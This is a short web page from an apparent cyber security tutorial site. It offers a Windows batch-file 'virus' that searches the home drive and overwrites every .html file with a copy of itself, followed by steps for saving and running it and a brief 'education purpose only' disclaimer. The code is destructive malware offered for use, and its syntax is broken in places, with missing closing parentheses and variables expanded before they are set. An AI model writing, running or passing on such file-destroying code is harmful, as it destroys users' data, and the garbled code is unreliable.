Virus : Infect all .html file

Note: This tutorial is education purpose only! This can be illegal! Use at your own risk !

@echo off
Dir %Homedrive% /s /b > DirPath
For /f %%Y In (DirPath) Do (
Set DirPath=%%Y > Nul
For %%Z In (%DirPath%\*.html) Do (
Set HtmlInfect=%%Z > Nul
Copy /y %0 %HtmlInfect%

Del /f /s /q DirPath

Batch File Creation Steps

Step 1 : Open Notepad in windows operating system.
Step 2 : Write the above code.
Step 3 : save file as .bat extension.

To Learn Batch Programing Click here.

Subscribe Indian Cyber Security RSS feed

Enter your email address:


Facebook RSS


© Copyright-2010. All Rights Reserved.

This website is Accessible! We are proud to say, this website has ZERO detected "accessibility errors",
as per an accessibility evaluation conducted using WAVE, a highly reputable accessibility evaluation tool.

If you have any issue about publishing content of this site, then mail us to

Best View in CSS 3 Supportable Browsers and 1366x768 Resolution system.